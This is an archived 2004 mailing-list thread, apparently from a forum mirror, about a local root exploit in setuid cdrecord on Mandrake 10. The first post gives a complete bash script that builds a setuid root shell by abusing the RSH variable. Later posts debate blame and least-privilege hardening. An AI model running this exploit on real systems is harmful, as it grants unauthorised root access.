Bekijk Volledige Versie : cdrecord local root exploit
newbug Tseng
12/09/04, 09:55
#!/bin/bash
echo "cdr-exp.sh -- CDRecord local exploit ( Tested on cdrecord-2.01-0.a27.2mdk + Mandrake10)"
echo "Author : newbug [at] chroot.org"
echo "IRC : irc.chroot.org #chroot"
echo "Date :09.09.2004"
cd /tmp
cat > s.c <<_EOF_
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
int main()
{
setuid(0);setgid(0);
chown("/tmp/ss", 0, 0);
chmod("/tmp/ss", 04755);
return 0;
}
_EOF_
cat > ss.c <<_EOF_
#include <stdio.h>
int main()
{
setuid(0);setgid(0);
execl("/bin/bash","bash",(char *)0);
return 0;
}
_EOF_
gcc -o s s.c
gcc -o ss ss.c
export RSH=/tmp/s
cdrecord dev=REMOTE:newbug@brk.chroot.org:0,0,0 /blah/blah >/dev/null 2>&1
/tmp/ss
Sean Davis
14/09/04, 01:05
--XsQoSWH+UP9D9v3l
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
On Fri, Sep 10, 2004 at 01:30:17AM -0000, newbug Tseng wrote:
>=20
>=20
> #!/bin/bash
>=20
> echo "cdr-exp.sh -- CDRecord local exploit ( Tested on cdrecord-2.01-0.a2=
7.2mdk + Mandrake10)"
> echo "Author : newbug [at] chroot.org"
> echo "IRC : irc.chroot.org #chroot"
> echo "Date :09.09.2004"
I don't see how this is a bug in cdrecord. It's a bug in Mandrake, caused by
shipping cdrecord setuid root. You could do the same thing with CVS (set
CVS_RSH to /tmp/s) if your distribution was dumb enough to ship cvs setuid
root, I would think, yet that wouldn't be a bug in CVS.
-Sean
--
/~\ The ASCII
\ / Ribbon Campaign Sean Davis
X Against HTML aka dive
/ \ Email!
--XsQoSWH+UP9D9v3l
Content-Type: application/pgp-signature
Content-Disposition: inline
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (NetBSD)
iD8DBQFBRILxncZv+931Zb8RAtmVAKCf3b1Fuz0QYRKHCZvqHD 5HJ6eNOACfQ1Ut
hirwrfS3bvqDdza9d9UgKC8=
=+QoO
-----END PGP SIGNATURE-----
--XsQoSWH+UP9D9v3l--
Sean Davis
14/09/04, 16:45
On Mon, Sep 13, 2004 at 02:51:07PM +0800, newbug wrote:
> Dear Sean Davis,
>=20
> I think this is a bug in cdrecord,
> my reason is:
<snip>
Yes, now that I read your reply and the reply from Dustin, I agree, it is
an issue in cdrecord. I stand corrected. Sorry for the line noise.
-Sean
--
/~\ The ASCII
\ / Ribbon Campaign Sean Davis
X Against HTML aka dive
/ \ Email!
Volker Kuhlmann
16/09/04, 12:55
> > echo "cdr-exp.sh -- CDRecord local exploit ( Tested on cdrecord-2.01-0.a27.2mdk + Mandrake10)"
> I don't see how this is a bug in cdrecord. It's a bug in Mandrake, caused by
> shipping cdrecord setuid root. You could do the same thing with CVS (set
> CVS_RSH to /tmp/s) if your distribution was dumb enough to ship cvs setuid
> root, I would think, yet that wouldn't be a bug in CVS.
The author of cdrecord obstinately argues that cdrecord must be
installed suid root, and is explicitly recommended. Especially SuSE,
who does not install cdrecord suid root, has taken a lot of flak over
this lately (investigate special SuSE copyright in versions 2.01a36 to
40 or so). It also seems that kernel 2.6.8 has changes included which
make it impossible(?) not to run cdrecord suid root. Seems like a
downhill to me but I'm not really qualified to comment.
In any case it would be inappropriate to call it a bug "in cdrecord"
when only testing the Mdk version, esp given the amount of patching
applied by Mdk. First test a vanilla cdrecord, then other distros.
Volker
--
Volker Kuhlmann is possibly list0570 with the domain in header
http://volker.dnsalias.net/ Please do not CC list postings to me.
Jason T. Miller
17/09/04, 08:35
> I think that the reason the author states that it must be installed
> setuid root is so that it can be run by a normal user to burn cd images
> (versus having to su to root). Try using sudo, or set up something to
> modify the permissions on your cd device to allow it to access them.
This is a much better idea, and what I do in fact. You still have to trust
cdrecord users, though, and aside from sudo's audit logging, it's not
really any safer than the author's suggestion to set cdrecord permissions
to 4710 with group ownership of cdburners, and assigning users trusted to
run cdrecord to the cdburners group.
But that's not the issue. The manpage for cdrecord states that
If you don't want to allow users to become root on your system, cdrecord
may safely be installed suid root. This allows all users or a group of
users with no root privileges to use cdrecord. Cdrecord in this case
checks, if the real user would have been able to read the specified
files.
By design, it's supposed to be "safe", therefore, the problem at issue, if
it exists, is a vulnerability.
I'd suggest to the cdrecord author that he might enable cdrecord to
function without root privileges, even if it can't be "fully functional".
The same manpage states that
In order to be able to use the SCSI transport subsystem of the OS, run
at highest priority and lock itself into core cdrecord either needs to
be run as root, needs to be installed suid root or must be called via
RBACs pfexec mechanism.
I presume at least some supported OSes provide the ability to assign
permissions to SCSI passthrough on a per-SCSI device basis, so his
statement to
Never give write permissions for non root users to the
/dev/scg? devices unless you would allow anybody to read/write/format
all your disks.
is a bit misleading. It's certainly true if you interpret /dev/scg? as a
shell wildcard, but why can't I give permissions for non-root users to the
writable optical devices only, instead of "all [my] disks"? It _seems_
like it would work on FreeBSD and Linux, at least, though I confess to not
having tried it (I only run cdrecord on my desktop machines [using sudo],
where this isn't an issue).
The real-time and lock-in-core stuff certainly improves the reliability of
cdrecord, but is not necessary for its function, so it should be optional
(if it is not already, as I suspect at least some of the supported OSes do
not support such functionality), so the administrator can decide whether
he most values security or reliable cdrecord operation. On modern systems,
and using modern CD-R and DVD[+-]R drives (with large buffers and buffer
underrun protection), it would probably run quite well without such
features, as long as the system is not to heavily loaded. And if it _is_
heavily loaded, the other load may well be more important than a good CD
burn. In any case, the system's administrator, not the author of cdrecord,
should be the one making the call.
-jtm
On Wed, 15 Sep 2004, Coleman wrote:
> I think that the reason the author states that it must be installed
> setuid root is so that it can be run by a normal user to burn cd images
> (versus having to su to root). Try using sudo, or set up something to
> modify the permissions on your cd device to allow it to access them.
>
> On Mon, 2004-09-13 at 21:51, Volker Kuhlmann wrote:
> > > > echo "cdr-exp.sh -- CDRecord local exploit ( Tested on cdrecord-2.01-0.a27.2mdk + Mandrake10)"
> >
> > > I don't see how this is a bug in cdrecord. It's a bug in Mandrake, caused by
> > > shipping cdrecord setuid root. You could do the same thing with CVS (set
> > > CVS_RSH to /tmp/s) if your distribution was dumb enough to ship cvs setuid
> > > root, I would think, yet that wouldn't be a bug in CVS.
> >
> > The author of cdrecord obstinately argues that cdrecord must be
> > installed suid root, and is explicitly recommended. Especially SuSE,
> > who does not install cdrecord suid root, has taken a lot of flak over
> > this lately (investigate special SuSE copyright in versions 2.01a36 to
> > 40 or so). It also seems that kernel 2.6.8 has changes included which
> > make it impossible(?) not to run cdrecord suid root. Seems like a
> > downhill to me but I'm not really qualified to comment.
> >
> > In any case it would be inappropriate to call it a bug "in cdrecord"
> > when only testing the Mdk version, esp given the amount of patching
> > applied by Mdk. First test a vanilla cdrecord, then other distros.
> >
> > Volker
>
Dr Andrew C Aitchison
28/09/04, 01:35
On Thu, 16 Sep 2004, Jason T. Miller wrote:
> I presume at least some supported OSes provide the ability to assign
> permissions to SCSI passthrough on a per-SCSI device basis, so his
> statement to
>
> Never give write permissions for non root users to the
> /dev/scg? devices unless you would allow anybody to read/write/format
> all your disks.
>
> is a bit misleading. It's certainly true if you interpret /dev/scg? as a
> shell wildcard, but why can't I give permissions for non-root users to the
> writable optical devices only, instead of "all [my] disks"?
At this point trusting the kernel to enforce different permissions
on different scsi devices is probably better than trusting cdrecord,
but your suggestion is (only) as good as the kernel's ability to
sanitize scsi requests. If I can send a SCSI request down the SCSI
bus I have the opportunity to exploit any hole in that subsystem.
I belive at one time the kernel wasn't trusted to stop a malicious
user from generating a SCSI request which was received by a different
device than the one the kernel was told was the target.
Since most CD writers are ide-scsi, the scsi permissions enforcer
needs to sanitize requests as they will appear once translated into IDE
requests, making the problem harder still.
As I say this may well be less of a problem than trusting cdrecord,
but if I were the author of cdrecord but not the kernel I wouldn't
guarantee the safety of the kernel on this (although I might not
declare it unsafe).
--
Dr. Andrew C. Aitchison Computer Officer, DPMMS, Cambridge
A.C.Aitchison@dpmms.cam.ac.uk http://www.dpmms.cam.ac.uk/~werdna
Jason T. Miller
30/09/04, 22:05
On Mon, 27 Sep 2004, Dr Andrew C Aitchison wrote:
> I belive at one time the kernel wasn't trusted to stop a malicious
> user from generating a SCSI request which was received by a different
> device than the one the kernel was told was the target.
Even if it were, there's a more subtle security hole lurking here -- most
recordable optical drives allow firmware updates via the bus. Aside from
filtering specific commands to specific devices (error-prone and difficult
to maintain, especially as the commands in question are frequently
undocumented), there's nothing the kernel can do to prevent the uploading
of malicious firmware that, among other things, could proxy SCSI commands
to other devices on the bus. This probably isn't an issue on a
single-initiator bus like IDE, but it's certainly possible in the
multiple-initiator world of SCSI.
In addition, there are many opportunities for denial-of-service,
particularly with older devices that don't do a very good job of sharing
the SCSI bus in the first place (e.g., devices that don't support
disconnect/reconnect), and devices that allow SCSI controller
configuration via mode pages (e.g., disabling D/R). Of course, it's
probably a bad idea to put the first class of devices on the same bus with
critical devices in the first place, but I digress.
With that said, the safest way to run cdrecord seems like the following:
- create a user (e.g., cdrecord) and a group (e.g., cdrecord-user)
- give the cdrecord user (_not_ the group) permission to access any
resources necessary to run cdrecord
- chown cdrecord:cdrecord-user cdrecord
- chmod 4550 cdrecord
This is simply the principle of least privilege. Cdrecord shouldn't need
to be root -- it only needs certain permissions to get its job done.
Cdrecord users don't need to be able to send arbitrary SCSI commands --
cdrecord itself does.
The notion that a program must be root if an ordinary user doesn't have
the necessary permissions by default is a dangerous one. Sometimes UNIX
makes this unavoidable (root-based security checks, e.g., privileged port
access), but, curiously, I see it more in the Windows world, where lots of
software wants to run as either a local Administrator or LocalSystem
(i.e., as a part of the TCB) instead of as an ordinary user with whatever
additional privileges are required, even though more granular security is
available (e.g., why does the Windows Time service need to run as a part
of the TCB? It needs to be able to set the system's clock, but NT has a
separate privilege [SeSystemTime] for this, presumably for a reason).
If one were to re-implement cdrecord with security in mind, it may make
sense to separate it into two executables:
- a front-end program, running as the user, which does command-line
processing, file access, and other tasks not directly related to device
control
- a "device access" program, running as cdrecord, which contains the
minimum amount of code necessary to control the optical drives. The
front-end would send it generic requests (e.g., write, finalize) which
would then be translated into the appropriate SCSI commands.
This way, only the smaller (and, presumably, easier to audit) "device
access" program would have to be trusted with raw SCSI access.
Since the "device access" portion of cdrecord is probably the largest and
most error-prone portion of the code (I assume this from my own experience
writing SCSI software, not from inspecting the cdrecord sources), it is
questionable whether this would be worth the trouble. However, if
implemented as a generic, portable "burner daemon" with a simplified API
that could be useful to multiple front-end programs (e.g., X11 front ends,
music players, backup software), it could be worthwhile.
-jtm
Greg A. Woods
01/10/04, 23:45
[ On Tuesday, September 28, 2004 at 01:22:17 (-0500), Jason T. Miller wrote: ]
> Subject: Re: cdrecord local root exploit
>
> The notion that a program must be root if an ordinary user doesn't have
> the necessary permissions by default is a dangerous one.
Very well said.
I really liked your way of presenting the idea of a setuid proxy too.
Not very many texts on secure programming techniques are so lucid.
Even those of us who've been trying to practice secure programming
techniques (esp. on unix-like systems, i.e. those using setuid), have
had tremendous difficulty implementing the principle of least privilege.
I can usually get as far as designing my code in the manner of your
outline for something like cdrecord where a program needs certain
privileges to open a device file and where only certain users should be
allowed to run that program.
However with the limitations of file and process ACL technology present
in most unix-like systems following this principle gets a lot more
difficult if, for example, you want to have a second limited group of
users be able to write to a configuration file for the program, but not
make it possible for the program itself to write to any of its
configuration files (e.g. if it were to suffer a buffer overflow and
give its privileges to an attacker). As far as I've ever been able to
figure out it's almost impossible to do this on unix-like systems if you
also need to protect the content of the configuration file from prying
eyes (i.e. not be "other"-readable). It might be possible to do
relatively safely with a pair of communicating front-end/back-end setuid
proxy programs, providied they can have hard-coded group-ID numbers (and
provided the host system implements multi-group membership for
processes). Such complexity though is an enemy of security.
--
Greg A. Woods
Planix, Inc.
<woods@planix.com> +1 416 489-5852 x122 http://www.planix.com/
Jason T. Miller
02/10/04, 05:35
On Fri, 1 Oct 2004, Greg A. Woods wrote:
> However with the limitations of file and process ACL technology present
> in most unix-like systems following this principle gets a lot more
> difficult if, for example, you want to have a second limited group of
> users be able to write to a configuration file for the program, but not
> make it possible for the program itself to write to any of its
> configuration files (e.g. if it were to suffer a buffer overflow and
> give its privileges to an attacker). As far as I've ever been able to
> figure out it's almost impossible to do this on unix-like systems if you
> also need to protect the content of the configuration file from prying
> eyes (i.e. not be "other"-readable).
You can do this with the help of sudo -- create a user (not group) to
administer the file and a group which the program user is a member of. Set
the file 0640, owned by admin-user:program-group, then let the users who
need to administer the file run as admin-user (who is otherwise
unpriviliged) using sudo. Unlike user owners, group owners have no control
over permissions. Obviously, program-group shouldn't have write access to
the config file's directory (else it could simply unlink and re-create the
config file).
Unless you limit sudo to allow execution of a _very_ restricted editor,
the admin users could create files as admin-user, subverting quotas, but
this seems minor, especially as you could severely restrict admin-user's
quota. If you have some form of object-access auditing on your system,
edits to the config file would look like they were being done by
admin-user and not the real user, but sudo has pretty good logging
facilities itself.
This solution also gets around another nasty UNIX security limitation --
in FreeBSD at least, group memberships are stored in a
statically-allocated array whose default size is 16 entries. This limit
can be increased by changing header files and rebuilding the OS (no help
for binary-only systems), but this hurts performance, requires lots of
stuff to be rebuilt, and supposedly can lead to other problems.
Under FreeBSD, you could also let the admin users run as root in a jail,
and make the config file owned (and only writeable) by root, but this is
overkill unless want to use jails anyway. You could also combine the
techniques (let users use sudo, but only in a jail, etc.).
> Such complexity though is an enemy of security.
Very true. From what I can see, configuration complexity is the primary
reason why the (technically) superior privilege model in Windows winds up
being less secure in practice than the simpler UNIX model. Not only does
such complexity make it easier to foul up (and more difficult to test), it
encourages the practice of running services and applications in
unnecessarily privileged contexts (e.g., as a machine or domain
Administrator or LocalSystem) -- often developers and admins are lazy,
more often they are overworked and have more (visibly) pressing things to
worry about than figuring out exactly what priviliges their applications
actually require.
Microsoft or a third-party might do well to provide automated tools to
ease this process (if such tools don't already exist), say, a harness
which audits object access and privilege use and produces code to
automatically generate "least-privileged" users and sets file permissions
appropriately, which could be incorporated into the program's installer
(perhaps it could also integrate with the Windows Security Configuration
Manager). There are some technical details to be worked out, most notably:
all code paths would have to be exercised (no way to automate this); SACLs
would have to be added to every object in the system (shouldn't be a big
deal on a development system, as long as they're subsequently removed);
many programs in fact request more access than then use (the tool could
point this out, but this would add complexity as the Windows auditing
system can't detect it, you'd have to trap API calls or something), but it
would be a useful tool to have. I've spent many hours doing this manually
with the Event Log and negative (failure) ACEs in the SACL, and it's not
much fun.
-jtm
Solar Designer
02/10/04, 22:55
On Sat, Oct 02, 2004 at 02:50:56PM -0400, Greg A. Woods wrote:
> [ On Saturday, October 2, 2004 at 10:07:51 (+0400), Solar Designer wrote: ]
> > Subject: Re: cdrecord local root exploit
> >
> > Actually, you can do it by creating an auxiliary directory and placing
> > the configuration file in it:
> >
> > /etc/program.d - root.progrun 750
> >
> > /etc/program.d/program.conf - root.proguser 664
> >
> > Then grant your program group progrun, and your trusted users - groups
> > proguser and progrun.
>
> That assumes the program doesn't need specific group privileges for some
> other purpose as well (or for its primary purpose).
Not if the program is a daemon initially started by root (it can then
setup multiple supplementary groups for itself before dropping root)
or from its dedicated pseudo-user account (it could be setup with the
supplementary groups).
In the context of SUID/SGID programs, yes, there's this limitation.
In Openwall GNU/*/Linux, we're using a really nasty kludge to get
around it:
host!root:~# ls -la /usr/bin/screen /usr/libexec/screen
-rwx--s--x 1 root screen 272028 Jul 17 05:03 /usr/bin/screen
/usr/libexec/screen:
total 24
drwx--x--- 2 root screen 4096 Jul 17 08:44 .
drwxr-xr-x 9 root root 4096 Jul 17 08:44 ..
-rwx--s--x 2 root shadow 4592 Jul 17 05:07 tcb_chkpwd
-rwx--s--x 2 root utmp 4204 Jul 17 04:45 utempter
Notice the restricted permissions on /usr/libexec/screen (it's made
available only to the screen program) and the nlink=2 on the two
helper binaries. Yes, the helper binaries are hard-linked from their
respective directories:
host!root:~# ls -la /usr/libexec/{chkpwd,utempter}
/usr/libexec/chkpwd:
total 24
drwx--x--- 2 root chkpwd 4096 Jul 17 08:42 .
drwxr-xr-x 9 root root 4096 Jul 17 08:44 ..
-rwx--s--x 2 root shadow 4592 Jul 17 05:07 tcb_chkpwd
/usr/libexec/utempter:
total 16
drwx--x--- 2 root utempter 4096 Jul 17 08:44 .
drwxr-xr-x 9 root root 4096 Jul 17 08:44 ..
-rwx--s--x 2 root utmp 4204 Jul 17 04:45 utempter
Basically, we wanted to give screen both privileges (of group chkpwd
and of group utempter), but clearly we couldn't have it SGID to two
groups. We also did not want to make either tcb_chkpwd or utempter
available to the world, and we didn't want to combine them into one
privilege for the rest of the system (screen needs both, but some
other program might not). Hence the hard link solution.
To make this fit in with packages (yes, we're using a package manager
and the three binaries above all come from different packages), we're
using triggers in the screen package which get, well, triggered on
installation, update, or removal of the two other packages:
%triggerin -- tcb >= 0.9.7.1
ln -f %_libexecdir/chkpwd/tcb_chkpwd %_libexecdir/screen/
%triggerin -- libutempter >= 1.1.0-owl1
ln -f %_libexecdir/utempter/utempter %_libexecdir/screen/
%triggerpostun -- tcb
if [ ! -e %_libexecdir/chkpwd/tcb_chkpwd ]; then
rm -f %_libexecdir/screen/tcb_chkpwd
fi
%triggerpostun -- libutempter
if [ ! -e %_libexecdir/utempter/utempter ]; then
rm -f %_libexecdir/screen/utempter
fi
Too much complexity for little gain, you'd say? Honestly, I don't
know if it was worth it, even for a "secured" distribution such as
ours. Many other distributions make helper binaries equivalent to
these available to the world (thereby not protecting them from direct
attacks like we do). And screen likely contains multiple yet
undiscovered bugs allowing to get ahold of its SGID privileges. And a
single kernel bug, lots of which are yet to be discovered, makes it
all irrelevant. (Why do we keep using monolithic kernels?)
So I am not bragging about our solution. I merely want to point out
that this is once again possible on traditional Unix, albeit at a
level of complexity which might outweigh the advantage gained with
fine-grained separation of privileges.
> The problem with setuid, when it is used to gain the privileges of any
> user other than root, is that the owner of the setuid program file can
> change the permissions on that file (e.g. to make it possible to write
> to the setuid program file), and thus any vulnerability that allows
> arbitrary code execution as the privileged non-root user will allow the
> integrity of the TCB to be breached even further with permanent changes,
> such as the introduction of a semi-privileged trojan.
This is very true. We avoid SUID-non-root for that reason entirely.
There's simply no reason to do that: a non-root pseudo-user won't be
able to do anything which can't also be achieved with SGID and proper
group permissions.
> Such changes can
> probably be detected with audits, but they cannot be prevented given
> current unix-like filesystem semantics.
This is not a part of the traditional Unix semantics, but on *BSD and
Linux with native filesystems the immutable flag could be used. Of
course, that has many problems (not portable, filesystem-specific
flags often not (re)stored by backup software, etc.)
> I.e. this means setgid is the only really safe way to grant privileges
> to non-root services
Correct. To non-root programs which may be invoked by a user, that
is. System services (daemons) don't have that limitation and can run
as a non-root pseudo-user without introducing the risk you describe.
> and thus without the ability to give multiple group
> and/or multiple user ownership to a file the only option is yet another
> setuid program that's even more directly vulnerable to attack by an
> untrusted subsystem admin.
No, that is not the only option. I've just outlined another one,
although it doesn't really grant multiple groups to a program, but
rather combines their privileges into a third group.
> Maybe it should be made impossible for the owner of a setuid file to
> change the permissions on that file thus allowing the admin to protect a
> setuid (non-root) program from its owner. I don't know if that would be
> sufficient though. (and it assumes the file is put in a place where the
> owner could not replace it -- i.e. in a root-owned directory)
I've been toying with that idea some years back. Yes, we could make
it such that files with S_ISUID set but S_IWUSR not set can't be
chmod'ed by non-root. But the disadvantage is that the user would
then be able to make an irreversible chmod. (Yes, some kernels
already allow for similar irreversible actions to be performed: chown
giveaway and hard links to non-owned files. I find these problematic
too.)
Luckily, there's no really good reason to do that. SGID and group
permissions can always be used to achieve the same.
To summarize: I do indeed agree with you that the traditional Unix
filesystem permissions are very limited and obsolete. But they
generally do not make it impossible to do cool things, they just force
us to use ugly kludges or give up. But we do have that choice. :-)
And we do not strictly have to accept additional security risks such
as those associated with sudo or other SUID root wrapper binaries,
although that might be easier to integrate into an existing system
where you wouldn't want to move files around and change permissions.
--
Alexander Peslyak <solar at openwall.com>
GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments